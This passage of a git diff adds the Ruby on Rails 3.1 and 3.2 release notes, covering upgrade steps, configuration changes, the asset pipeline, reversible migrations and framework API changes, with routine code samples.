+Rails 3.0 Release Notes were compiled by [Mikel Lindsaar](http://lindsaar.net.)
diff --git a/guides/source/3_1_release_notes.md b/guides/source/3_1_release_notes.md
new file mode 100644
index 0000000..485f8c7
--- /dev/null
+++ b/guides/source/3_1_release_notes.md
@@ -0,0 +1,556 @@
+Ruby on Rails 3.1 Release Notes
+===============================
+
+Highlights in Rails 3.1:
+
+* Streaming
+* Reversible Migrations
+* Assets Pipeline
+* jQuery as the default JavaScript library
+
+This release notes cover the major changes, but don't include every little bug fix and change. If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/master) in the main Rails repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 3.1
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3 in case you haven't and make sure your application still runs as expected before attempting to update to Rails 3.1. Then take heed of the following changes:
+
+### Rails 3.1 requires at least Ruby 1.8.7
+
+Rails 3.1 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.1 is also compatible with Ruby 1.9.2.
+
+TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x jump on 1.9.2 for smooth sailing.
+
+### What to update in your apps
+
+The following changes are meant for upgrading your application to Rails 3.1.3, the latest 3.1.x version of Rails.
+
+#### Gemfile
+
+Make the following changes to your `Gemfile`.
+
+```ruby
+gem 'rails', '= 3.1.3'
+gem 'mysql2'
+
+# Needed for the new asset pipeline
+group :assets do
+  gem 'sass-rails',   "~> 3.1.5"
+  gem 'coffee-rails', "~> 3.1.1"
+  gem 'uglifier',     ">= 1.0.3"
+end
+
+# jQuery is the default JavaScript library in Rails 3.1
+gem 'jquery-rails'
+```
+
+#### config/application.rb
+
+* The asset pipeline requires the following additions:
+
+    ```ruby
+    config.assets.enabled = true
+    config.assets.version = '1.0'
+    ```
+
+* If your application is using the "/assets" route for a resource you may want change the prefix used for assets to avoid conflicts:
+
+    ```ruby
+    # Defaults to '/assets'
+    config.assets.prefix = '/asset-files'
+    ```
+
+#### config/environments/development.rb
+
+* Remove the RJS setting `config.action_view.debug_rjs = true`.
+
+* Add the following, if you enable the asset pipeline.
+
+    ```ruby
+    # Do not compress assets
+    config.assets.compress = false
+
+    # Expands the lines which load the assets
+    config.assets.debug = true
+    ```
+
+#### config/environments/production.rb
+
+* Again, most of the changes below are for the asset pipeline. You can read more about these in the [Asset Pipeline](asset_pipeline.html) guide.
+
+    ```ruby
+    # Compress JavaScripts and CSS
+    config.assets.compress = true
+
+    # Don't fallback to assets pipeline if a precompiled asset is missed
+    config.assets.compile = false
+
+    # Generate digests for assets URLs
+    config.assets.digest = true
+
+    # Defaults to Rails.root.join("public/assets")
+    # config.assets.manifest = YOUR_PATH
+
+    # Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
+    # config.assets.precompile `= %w( search.js )
+
+
+    # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
+    # config.force_ssl = true
+    ```
+
+#### config/environments/test.rb
+
+```ruby
+# Configure static asset server for tests with Cache-Control for performance
+config.serve_static_assets = true
+config.static_cache_control = "public, max-age=3600"
+```
+
+#### config/initializers/wrap_parameters.rb
+
+* Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications.
+
+    ```ruby
+    # Be sure to restart your server when you modify this file.
+    # This file contains settings for ActionController::ParamsWrapper which
+    # is enabled by default.
+
+    # Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
+    ActiveSupport.on_load(:action_controller) do
+      wrap_parameters :format => [:json]
+    end
+
+    # Disable root element in JSON by default.
+    ActiveSupport.on_load(:active_record) do
+      self.include_root_in_json = false
+    end
+    ```
+
+#### Remove :cache and :concat options in asset helpers references in views
+
+* With the Asset Pipeline the :cache and :concat options aren't used anymore, delete these options from your views.
+
+Creating a Rails 3.1 application
+--------------------------------
+
+```bash
+# You should have the 'rails' RubyGem installed
+$ rails new myapp
+$ cd myapp
+```
+
+### Vendoring Gems
+
+Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
+
+More information: - [bundler homepage](http://gembundler.com)
+
+### Living on the Edge
+
+`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command. If you want to bundle straight from the Git repository, you can pass the `--edge` flag:
+
+```bash
+$ rails new myapp --edge
+```
+
+If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag:
+
+```bash
+$ ruby /path/to/rails/railties/bin/rails new myapp --dev
+```
+
+Rails Architectural Changes
+---------------------------
+
+### Assets Pipeline
+
+The major change in Rails 3.1 is the Assets Pipeline. It makes CSS and JavaScript first-class code citizens and enables proper organization, including use in plugins and engines.
+
+The assets pipeline is powered by [Sprockets](https://github.com/sstephenson/sprockets) and is covered in the [Asset Pipeline](asset_pipeline.html) guide.
+
+### HTTP Streaming
+
+HTTP Streaming is another change that is new in Rails 3.1. This lets the browser download your stylesheets and JavaScript files while the server is still generating the response. This requires Ruby 1.9.2, is opt-in and requires support from the web server as well, but the popular combo of nginx and unicorn is ready to take advantage of it.
+
+### Default JS library is now jQuery
+
+jQuery is the default JavaScript library that ships with Rails 3.1. But if you use Prototype, it's simple to switch.
+
+```bash
+$ rails new myapp -j prototype
+```
+
+### Identity Map
+
+Active Record has an Identity Map in Rails 3.1. An identity map keeps previously instantiated records and returns the object associated with the record if accessed again. The identity map is created on a per-request basis and is flushed at request completion.
+
+Rails 3.1 comes with the identity map turned off by default.
+
+Railties
+--------
+
+* jQuery is the new default JavaScript library.
+
+* jQuery and Prototype are no longer vendored and is provided from now on by the jquery-rails and prototype-rails gems.
+
+* The application generator accepts an option `-j` which can be an arbitrary string. If passed "foo", the gem "foo-rails" is added to the `Gemfile`, and the application JavaScript manifest requires "foo" and "foo_ujs". Currently only "prototype-rails" and "jquery-rails" exist and provide those files via the asset pipeline.
+
+* Generating an application or a plugin runs `bundle install` unless `--skip-gemfile` or `--skip-bundle` is specified.
+
+* The controller and resource generators will now automatically produce asset stubs (this can be turned off with `--skip-assets`). These stubs will use CoffeeScript and Sass, if those libraries are available.
+
+* Scaffold and app generators use the Ruby 1.9 style hash when running on Ruby 1.9. To generate old style hash, `--old-style-hash` can be passed.
+
+* Scaffold controller generator creates format block for JSON instead of XML.
+
+* Active Record logging is directed to STDOUT and shown inline in the console.
+
+* Added `config.force_ssl` configuration which loads `Rack::SSL` middleware and force all requests to be under HTTPS protocol.
+
+* Added `rails plugin new` command which generates a Rails plugin with gemspec, tests and a dummy application for testing.
+
+* Added `Rack::Etag` and `Rack::ConditionalGet` to the default middleware stack.
+
+* Added `Rack::Cache` to the default middleware stack.
+
+* Engines received a major update - You can mount them at any path, enable assets, run generators etc.
+
+Action Pack
+-----------
+
+### Action Controller
+
+* A warning is given out if the CSRF token authenticity cannot be verified.
+
+* Specify `force_ssl` in a controller to force the browser to transfer data via HTTPS protocol on that particular controller. To limit to specific actions, `:only` or `:except` can be used.
+
+* Sensitive query string parameters specified in `config.filter_parameters` will now be filtered out from the request paths in the log.
+
+* URL parameters which return `nil` for `to_param` are now removed from the query string.
+
+* Added `ActionController::ParamsWrapper` to wrap parameters into a nested hash, and will be turned on for JSON request in new applications by default. This can be customized in `config/initializers/wrap_parameters.rb`.
+
+* Added `config.action_controller.include_all_helpers`. By default `helper :all` is done in `ActionController::Base`, which includes all the helpers by default. Setting `include_all_helpers` to `false` will result in including only application_helper and the helper corresponding to controller (like foo_helper for foo_controller).
+
+* `url_for` and named url helpers now accept `:subdomain` and `:domain` as options.
+
+* Added `Base.http_basic_authenticate_with` to do simple http basic authentication with a single class method call.
+
+    ```ruby
+    class PostsController < ApplicationController
+      USER_NAME, PASSWORD = "dhh", "secret"
+
+      before_filter :authenticate, :except => [ :index ]
+
+      def index
+        render :text => "Everyone can see me!"
+      end
+
+      def edit
+        render :text => "I'm only accessible if you know the password"
+      end
+
+      private
+        def authenticate
+          authenticate_or_request_with_http_basic do |user_name, password|
+            user_name == USER_NAME && password == PASSWORD
+          end
+        end
+    end
+    ```
+
+    ..can now be written as
+
+    ```ruby
+    class PostsController < ApplicationController
+      http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index
+
+      def index
+        render :text => "Everyone can see me!"
+      end
+
+      def edit
+        render :text => "I'm only accessible if you know the password"
+      end
+    end
+    ```
+
+* Added streaming support, you can enable it with:
+
+    ```ruby
+    class PostsController < ActionController::Base
+      stream
+    end
+    ```
+
+    You can restrict it to some actions by using `:only` or `:except`. Please read the docs at [`ActionController::Streaming`](http://api.rubyonrails.org/v3.1.0/classes/ActionController/Streaming.html) for more information.
+
+* The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused.
+
+### Action Dispatch
+
+* `config.action_dispatch.x_sendfile_header` now defaults to `nil` and `config/environments/production.rb` doesn't set any particular value for it. This allows servers to set it through `X-Sendfile-Type`.
+
+* `ActionDispatch::MiddlewareStack` now uses composition over inheritance and is no longer an array.
+
+* Added `ActionDispatch::Request.ignore_accept_header` to ignore accept headers.
+
+* Added `Rack::Cache` to the default stack.
+
+* Moved etag responsibility from `ActionDispatch::Response` to the middleware stack.
+
+* Rely on `Rack::Session` stores API for more compatibility across the Ruby world. This is backwards incompatible since `Rack::Session` expects `#get_session` to accept four arguments and requires `#destroy_session` instead of simply `#destroy`.
+
+* Template lookup now searches further up in the inheritance chain.
+
+### Action View
+
+* Added an `:authenticity_token` option to `form_tag` for custom handling or to omit the token by passing `:authenticity_token => false`.
+
+* Created `ActionView::Renderer` and specified an API for `ActionView::Context`.
+
+* In place `SafeBuffer` mutation is prohibited in Rails 3.1.
+
+* Added HTML5 `button_tag` helper.
+
+* `file_field` automatically adds `:multipart => true` to the enclosing form.
+
+* Added a convenience idiom to generate HTML5 data-* attributes in tag helpers from a `:data` hash of options:
+
+    ```ruby
+    tag("div", :data => {:name => 'Stephen', :city_state => %w(Chicago IL)})
+    # => <div data-name="Stephen" data-city-state="["Chicago","IL"]" />
+    ```
+
+Keys are dasherized. Values are JSON-encoded, except for strings and symbols.
+
+* `csrf_meta_tag` is renamed to `csrf_meta_tags` and aliases `csrf_meta_tag` for backwards compatibility.
+
+* The old template handler API is deprecated and the new API simply requires a template handler to respond to call.
+
+* rhtml and rxml are finally removed as template handlers.
+
+* `config.action_view.cache_template_loading` is brought back which allows to decide whether templates should be cached or not.
+
+* The submit form helper does not generate an id "object_name_id" anymore.
+
+* Allows `FormHelper#form_for` to specify the `:method` as a direct option instead of through the `:html` hash. `form_for(@post, remote: true, method: :delete)` instead of `form_for(@post, remote: true, html: { method: :delete })`.
+
+* Provided `JavaScriptHelper#j()` as an alias for `JavaScriptHelper#escape_javascript()`. This supersedes the `Object#j()` method that the JSON gem adds within templates using the JavaScriptHelper.
+
+* Allows AM/PM format in datetime selectors.
+
+* `auto_link` has been removed from Rails and extracted into the [rails_autolink gem](https://github.com/tenderlove/rails_autolink)
+
+Active Record
+-------------
+
+* Added a class method `pluralize_table_names` to singularize/pluralize table names of individual models. Previously this could only be set globally for all models through `ActiveRecord::Base.pluralize_table_names`.
+
+    ```ruby
+    class User < ActiveRecord::Base
+      self.pluralize_table_names = false
+    end
+    ```
+
+* Added block setting of attributes to singular associations. The block will get called after the instance is initialized.
+
+    ```ruby
+    class User < ActiveRecord::Base
+      has_one :account
+    end
+
+    user.build_account{ |a| a.credit_limit = 100.0 }
+    ```
+
+* Added `ActiveRecord::Base.attribute_names` to return a list of attribute names. This will return an empty array if the model is abstract or the table does not exist.
+
+* CSV Fixtures are deprecated and support will be removed in Rails 3.2.0.
+
+* `ActiveRecord#new`, `ActiveRecord#create` and `ActiveRecord#update_attributes` all accept a second hash as an option that allows you to specify which role to consider when assigning attributes. This is built on top of Active Model's new mass assignment capabilities:
+
+    ```ruby
+    class Post < ActiveRecord::Base
+      attr_accessible :title
+      attr_accessible :title, :published_at, :as => :admin
+    end
+
+    Post.new(params[:post], :as => :admin)
+    ```
+
+* `default_scope` can now take a block, lambda, or any other object which responds to call for lazy evaluation.
+
+* Default scopes are now evaluated at the latest possible moment, to avoid problems where scopes would be created which would implicitly contain the default scope, which would then be impossible to get rid of via Model.unscoped.
+
+* PostgreSQL adapter only supports PostgreSQL version 8.2 and higher.
+
+* `ConnectionManagement` middleware is changed to clean up the connection pool after the rack body has been flushed.
+
+* Added an `update_column` method on Active Record. This new method updates a given attribute on an object, skipping validations and callbacks. It is recommended to use `update_attributes` or `update_attribute` unless you are sure you do not want to execute any callback, including the modification of the `updated_at` column. It should not be called on new records.
+
+* Associations with a `:through` option can now use any association as the through or source association, including other associations which have a `:through` option and `has_and_belongs_to_many` associations.
+
+* The configuration for the current database connection is now accessible via `ActiveRecord::Base.connection_config`.
+
+* limits and offsets are removed from COUNT queries unless both are supplied.
+
+    ```ruby
+    People.limit(1).count           # => 'SELECT COUNT(*) FROM people'
+    People.offset(1).count          # => 'SELECT COUNT(*) FROM people'
+    People.limit(1).offset(1).count # => 'SELECT COUNT(*) FROM people LIMIT 1 OFFSET 1'
+    ```
+
+* `ActiveRecord::Associations::AssociationProxy` has been split. There is now an `Association` class (and subclasses) which are responsible for operating on associations, and then a separate, thin wrapper called `CollectionProxy`, which proxies collection associations. This prevents namespace pollution, separates concerns, and will allow further refactorings.
+
+* Singular associations (`has_one`, `belongs_to`) no longer have a proxy and simply returns the associated record or `nil`. This means that you should not use undocumented methods such as `bob.mother.create` - use `bob.create_mother` instead.
+
+* Support the `:dependent` option on `has_many :through` associations. For historical and practical reasons, `:delete_all` is the default deletion strategy employed by `association.delete(*records)`, despite the fact that the default strategy is `:nullify` for regular has_many. Also, this only works at all if the source reflection is a belongs_to. For other situations, you should directly modify the through association.
+
+* The behavior of `association.destroy` for `has_and_belongs_to_many` and `has_many :through` is changed. From now on, 'destroy' or 'delete' on an association will be taken to mean 'get rid of the link', not (necessarily) 'get rid of the associated records'.
+
+* Previously, `has_and_belongs_to_many.destroy(*records)` would destroy the records themselves. It would not delete any records in the join table. Now, it deletes the records in the join table.
+
+* Previously, `has_many_through.destroy(*records)` would destroy the records themselves, and the records in the join table. [Note: This has not always been the case; previous version of Rails only deleted the records themselves.] Now, it destroys only the records in the join table.
+
+* Note that this change is backwards-incompatible to an extent, but there is unfortunately no way to 'deprecate' it before changing it. The change is being made in order to have consistency as to the meaning of 'destroy' or 'delete' across the different types of associations. If you wish to destroy the records themselves, you can do `records.association.each(&:destroy)`.
+
+* Add `:bulk => true` option to `change_table` to make all the schema changes defined in a block using a single ALTER statement.
+
+    ```ruby
+    change_table(:users, :bulk => true) do |t|
+      t.string :company_name
+      t.change :birthdate, :datetime
+    end
+    ```
+
+* Removed support for accessing attributes on a `has_and_belongs_to_many` join table. `has_many :through` needs to be used.
+
+* Added a `create_association!` method for `has_one` and `belongs_to` associations.
+
+* Migrations are now reversible, meaning that Rails will figure out how to reverse your migrations. To use reversible migrations, just define the `change` method.
+
+    ```ruby
+    class MyMigration < ActiveRecord::Migration
+      def change
+        create_table(:horses) do |t|
+          t.column :content, :text
+          t.column :remind_at, :datetime
+        end
+      end
+    end
+    ```
+
+* Some things cannot be automatically reversed for you. If you know how to reverse those things, you should define `up` and `down` in your migration. If you define something in change that cannot be reversed, an `IrreversibleMigration` exception will be raised when going down.
+
+* Migrations now use instance methods rather than class methods:
+
+    ```ruby
+    class FooMigration < ActiveRecord::Migration
+      def up # Not self.up
+        ...
+      end
+    end
+    ```
+
+* Migration files generated from model and constructive migration generators (for example, add_name_to_users) use the reversible migration's `change` method instead of the ordinary `up` and `down` methods.
+
+* Removed support for interpolating string SQL conditions on associations. Instead, a proc should be used.
+
+    ```ruby
+    has_many :things, :conditions => 'foo = #{bar}'          # before
+    has_many :things, :conditions => proc { "foo = #{bar}" } # after
+    ```
+
+    Inside the proc, `self` is the object which is the owner of the association, unless you are eager loading the association, in which case `self` is the class which the association is within.
+
+    You can have any "normal" conditions inside the proc, so the following will work too:
+
+    ```ruby
+    has_many :things, :conditions => proc { ["foo = ?", bar] }
+    ```
+
+* Previously `:insert_sql` and `:delete_sql` on `has_and_belongs_to_many` association allowed you to call 'record' to get the record being inserted or deleted. This is now passed as an argument to the proc.
+
+* Added `ActiveRecord::Base#has_secure_password` (via `ActiveModel::SecurePassword`) to encapsulate dead-simple password usage with BCrypt encryption and salting.
+
+    ```ruby
+    # Schema: User(name:string, password_digest:string, password_salt:string)
+    class User < ActiveRecord::Base
+      has_secure_password
+    end
+    ```
+
+* When a model is generated `add_index` is added by default for `belongs_to` or `references` columns.
+
+* Setting the id of a `belongs_to` object will update the reference to the object.
+
+* `ActiveRecord::Base#dup` and `ActiveRecord::Base#clone` semantics have changed to closer match normal Ruby dup and clone semantics.
+
+* Calling `ActiveRecord::Base#clone` will result in a shallow copy of the record, including copying the frozen state. No callbacks will be called.
+
+* Calling `ActiveRecord::Base#dup` will duplicate the record, including calling after initialize hooks. Frozen state will not be copied, and all associations will be cleared. A duped record will return `true` for `new_record?`, have a `nil` id field, and is saveable.
+
+* The query cache now works with prepared statements. No changes in the applications are required.
+
+Active Model
+------------
+
+* `attr_accessible` accepts an option `:as` to specify a role.
+
+* `InclusionValidator`, `ExclusionValidator`, and `FormatValidator` now accepts an option which can be a proc, a lambda, or anything that respond to `call`. This option will be called with the current record as an argument and returns an object which respond to `include?` for `InclusionValidator` and `ExclusionValidator`, and returns a regular expression object for `FormatValidator`.
+
+* Added `ActiveModel::SecurePassword` to encapsulate dead-simple password usage with BCrypt encryption and salting.
+
+* `ActiveModel::AttributeMethods` allows attributes to be defined on demand.
+
+* Added support for selectively enabling and disabling observers.
+
+* Alternate `I18n` namespace lookup is no longer supported.
+
+Active Resource
+---------------
+
+* The default format has been changed to JSON for all requests. If you want to continue to use XML you will need to set `self.format = :xml` in the class. For example,
+
+    ```ruby
+    class User < ActiveResource::Base
+      self.format = :xml
+    end
+    ```
+
+Active Support
+--------------
+
+* `ActiveSupport::Dependencies` now raises `NameError` if it finds an existing constant in `load_missing_constant`.
+
+* Added a new reporting method `Kernel#quietly` which silences both `STDOUT` and `STDERR`.
+
+* Added `String#inquiry` as a convenience method for turning a String into a `StringInquirer` object.
+
+* Added `Object#in?` to test if an object is included in another object.
+
+* `LocalCache` strategy is now a real middleware class and no longer an anonymous class.
+
+* `ActiveSupport::Dependencies::ClassCache` class has been introduced for holding references to reloadable classes.
+
+* `ActiveSupport::Dependencies::Reference` has been refactored to take direct advantage of the new `ClassCache`.
+
+* Backports `Range#cover?` as an alias for `Range#include?` in Ruby 1.8.
+
+* Added `weeks_ago` and `prev_week` to Date/DateTime/Time.
+
+* Added `before_remove_const` callback to `ActiveSupport::Dependencies.remove_unloadable_constants!`.
+
+Deprecations:
+
+* `ActiveSupport::SecureRandom` is deprecated in favor of `SecureRandom` from the Ruby standard library.
+
+Credits
+-------
+
+See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.
+
+Rails 3.1 Release Notes were compiled by [Vijay Dev](https://github.com/vijaydev.)
diff --git a/guides/source/3_2_release_notes.md b/guides/source/3_2_release_notes.md
new file mode 100644
index 0000000..ce811a5
--- /dev/null
+++ b/guides/source/3_2_release_notes.md
@@ -0,0 +1,565 @@
+Ruby on Rails 3.2 Release Notes
+===============================
+
+Highlights in Rails 3.2:
+
+* Faster Development Mode
+* New Routing Engine
+* Automatic Query Explains
+* Tagged Logging
+
+These release notes cover the major changes, but do not include each bug-fix and changes. If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/3-2-stable) in the main Rails repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 3.2
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.1 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 3.2. Then take heed of the following changes:
+
+### Rails 3.2 requires at least Ruby 1.8.7
+
+Rails 3.2 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.2 is also compatible with Ruby 1.9.2.
+
+TIP: Note that Ruby 1.8.7 p248 and p249 have marshalling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing.
+
+### What to update in your apps
+
+* Update your Gemfile to depend on
+    * `rails = 3.2.0`
+    * `sass-rails ~> 3.2.3`
+    * `coffee-rails ~> 3.2.1`
+    * `uglifier >= 1.0.3`
+
+* Rails 3.2 deprecates `vendor/plugins` and Rails 4.0 will remove them completely. You can start replacing these plugins by extracting them as gems and adding them in your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
+
+* There are a couple of new configuration changes you'd want to add in `config/environments/development.rb`:
+
+    ```ruby
+    # Raise exception on mass assignment protection for Active Record models
+    config.active_record.mass_assignment_sanitizer = :strict
+
+    # Log the query plan for queries taking more than this (works
+    # with SQLite, MySQL, and PostgreSQL)
+    config.active_record.auto_explain_threshold_in_seconds = 0.5
+    ```
+
+    The `mass_assignment_sanitizer` config also needs to be added in `config/environments/test.rb`:
+
+    ```ruby
+    # Raise exception on mass assignment protection for Active Record models
+    config.active_record.mass_assignment_sanitizer = :strict
+    ```
+
+### What to update in your engines
+
+Replace the code beneath the comment in `script/rails` with the following content:
+
+```ruby
+ENGINE_ROOT = File.expand_path('../..', __FILE__)
+ENGINE_PATH = File.expand_path('../../lib/your_engine_name/engine', __FILE__)
+
+require 'rails/all'
+require 'rails/engine/commands'
+```
+
+Creating a Rails 3.2 application
+--------------------------------
+
+```bash
+# You should have the 'rails' RubyGem installed
+$ rails new myapp
+$ cd myapp
+```
+
+### Vendoring Gems
+
+Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
+
+More information: [Bundler homepage](http://gembundler.com)
+
+### Living on the Edge
+
+`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command. If you want to bundle straight from the Git repository, you can pass the `--edge` flag:
+
+```bash
+$ rails new myapp --edge
+```
+
+If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag:
+
+```bash
+$ ruby /path/to/rails/railties/bin/rails new myapp --dev
+```
+
+Major Features
+--------------
+
+### Faster Development Mode & Routing
+
+Rails 3.2 comes with a development mode that's noticeably faster. Inspired by [Active Reload](https://github.com/paneq/active_reload), Rails reloads classes only when files actually change. The performance gains are dramatic on a larger application. Route recognition also got a bunch faster thanks to the new [Journey](https://github.com/rails/journey) engine.
+
+### Automatic Query Explains
+
+Rails 3.2 comes with a nice feature that explains queries generated by Arel by defining an `explain` method in `ActiveRecord::Relation`. For example, you can run something like `puts Person.active.limit(5).explain` and the query Arel produces is explained. This allows to check for the proper indexes and further optimizations.
+
+Queries that take more than half a second to run are *automatically* explained in the development mode. This threshold, of course, can be changed.
+
+### Tagged Logging
+
+When running a multi-user, multi-account application, it's a great help to be able to filter the log by who did what. TaggedLogging in Active Support helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications.
+
+Documentation
+-------------
+
+From Rails 3.2, the Rails guides are available for the Kindle and free Kindle Reading Apps for the iPad, iPhone, Mac, Android, etc.
+
+Railties
+--------
+
+* Speed up development by only reloading classes if dependencies files changed. This can be turned off by setting `config.reload_classes_only_on_change` to false.
+
+* New applications get a flag `config.active_record.auto_explain_threshold_in_seconds` in the environments configuration files. With a value of `0.5` in `development.rb` and commented out in `production.rb`. No mention in `test.rb`.
+
+* Added `config.exceptions_app` to set the exceptions application invoked by the `ShowException` middleware when an exception happens. Defaults to `ActionDispatch::PublicExceptions.new(Rails.public_path)`.
+
+* Added a `DebugExceptions` middleware which contains features extracted from `ShowExceptions` middleware.
+
+* Display mounted engines' routes in `rake routes`.
+
+* Allow to change the loading order of railties with `config.railties_order` like:
+
+    ```ruby
+    config.railties_order = [Blog::Engine, :main_app, :all]
+    ```
+
+* Scaffold returns 204 No Content for API requests without content. This makes scaffold work with jQuery out of the box.
+
+* Update `Rails::Rack::Logger` middleware to apply any tags set in `config.log_tags` to `ActiveSupport::TaggedLogging`. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications.
+
+* Default options to `rails new` can be set in `~/.railsrc`. You can specify extra command-line arguments to be used every time `rails new` runs in the `.railsrc` configuration file in your home directory.
+
+* Add an alias `d` for `destroy`. This works for engines too.
+
+* Attributes on scaffold and model generators default to string. This allows the following: `rails g scaffold Post title body:text author`
+
+* Allow scaffold/model/migration generators to accept "index" and "uniq" modifiers. For example,
+
+    ```ruby
+    rails g scaffold Post title:string:index author:uniq price:decimal{7,2}
+    ```
+
+    will create indexes for `title` and `author` with the latter being an unique index. Some types such as decimal accept custom options. In the example, `price` will be a decimal column with precision and scale set to 7 and 2 respectively.
+
+* Turn gem has been removed from default Gemfile.
+
+* Remove old plugin generator `rails generate plugin` in favor of `rails plugin new` command.
+
+* Remove old `config.paths.app.controller` API in favor of `config.paths["app/controller"]`.
+
+#### Deprecations
+
+* `Rails::Plugin` is deprecated and will be removed in Rails 4.0. Instead of adding plugins to `vendor/plugins` use gems or bundler with path or git dependencies.
+
+Action Mailer
+-------------
+
+* Upgraded `mail` version to 2.4.0.
+
+* Removed the old Action Mailer API which was deprecated since Rails 3.0.
+
+Action Pack
+-----------
+
+### Action Controller
+
+* Make `ActiveSupport::Benchmarkable` a default module for `ActionController::Base,` so the `#benchmark` method is once again available in the controller context like it used to be.
+
+* Added `:gzip` option to `caches_page`. The default option can be configured globally using `page_cache_compression`.
+
+* Rails will now use your default layout (such as "layouts/application") when you specify a layout with `:only` and `:except` condition, and those conditions fail.
+
+    ```ruby
+    class CarsController
+      layout 'single_car', :only => :show
+    end
+    ```
+
+    Rails will use `layouts/single_car` when a request comes in `:show` action, and use `layouts/application` (or `layouts/cars`, if exists) when a request comes in for any other actions.
+
+* `form\_for` is changed to use `#{action}\_#{as}` as the css class and id if `:as` option is provided. Earlier versions used `#{as}\_#{action}`.
+
+* `ActionController::ParamsWrapper` on Active Record models now only wrap `attr_accessible` attributes if they were set. If not, only the attributes returned by the class method `attribute_names` will be wrapped. This fixes the wrapping of nested attributes by adding them to `attr_accessible`.
+
+* Log "Filter chain halted as CALLBACKNAME rendered or redirected" every time a before callback halts.
+
+* `ActionDispatch::ShowExceptions` is refactored. The controller is responsible for choosing to show exceptions. It's possible to override `show_detailed_exceptions?` in controllers to specify which requests should provide debugging information on errors.
+
+* Responders now return 204 No Content for API requests without a response body (as in the new scaffold).
+
+* `ActionController::TestCase` cookies is refactored. Assigning cookies for test cases should now use `cookies[]`
+
+    ```ruby
+    cookies[:email] = 'user at example.com'
+    get :index
+    assert_equal 'user at example.com', cookies[:email]
+    ```
+
+    To clear the cookies, use `clear`.
+
+    ```ruby
+    cookies.clear
+    get :index
+    assert_nil cookies[:email]
+    ```
+
+    We now no longer write out HTTP_COOKIE and the cookie jar is persistent between requests so if you need to manipulate the environment for your test you need to do it before the cookie jar is created.
+
+* `send_file` now guesses the MIME type from the file extension if `:type` is not provided.
+
+* MIME type entries for PDF, ZIP and other formats were added.
+
+* Allow `fresh_when/stale?` to take a record instead of an options hash.
+
+* Changed log level of warning for missing CSRF token from `:debug` to `:warn`.
+
+* Assets should use the request protocol by default or default to relative if no request is available.
+
+#### Deprecations
+
+* Deprecated implied layout lookup in controllers whose parent had an explicit layout set:
+
+    ```ruby
+    class ApplicationController
+      layout "application"
+    end
+
+    class PostsController < ApplicationController
+    end
+    ```
+
+    In the example above, `PostsController` will no longer automatically look up for a posts layout. If you need this functionality you could either remove `layout "application"` from `ApplicationController` or explicitly set it to `nil` in `PostsController`.
+
+* Deprecated `ActionController::UnknownAction` in favor of `AbstractController::ActionNotFound`.
+
+* Deprecated `ActionController::DoubleRenderError` in favor of `AbstractController::DoubleRenderError`.
+
+* Deprecated `method_missing` in favor of `action_missing` for missing actions.
+
+* Deprecated `ActionController#rescue_action`, `ActionController#initialize_template_class` and `ActionController#assign_shortcuts`.
+
+### Action Dispatch
+
+* Add `config.action_dispatch.default_charset` to configure default charset for `ActionDispatch::Response`.
+
+* Added `ActionDispatch::RequestId` middleware that'll make a unique X-Request-Id header available to the response and enables the `ActionDispatch::Request#uuid` method. This makes it easy to trace requests from end-to-end in the stack and to identify individual requests in mixed logs like Syslog.
+
+* The `ShowExceptions` middleware now accepts an exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in `env["action_dispatch.exception"]` and with the `PATH_INFO` rewritten to the status code.
+
+* Allow rescue responses to be configured through a railtie as in `config.action_dispatch.rescue_responses`.
+
+#### Deprecations
+
+* Deprecated the ability to set a default charset at the controller level, use the new `config.action_dispatch.default_charset` instead.
+
+### Action View
+
+* Add `button_tag` support to `ActionView::Helpers::FormBuilder`. This support mimics the default behavior of `submit_tag`.
+
+    ```erb
+    <%= form_for @post do |f| %>
+      <%= f.button %>
+    <% end %>
+    ```
+
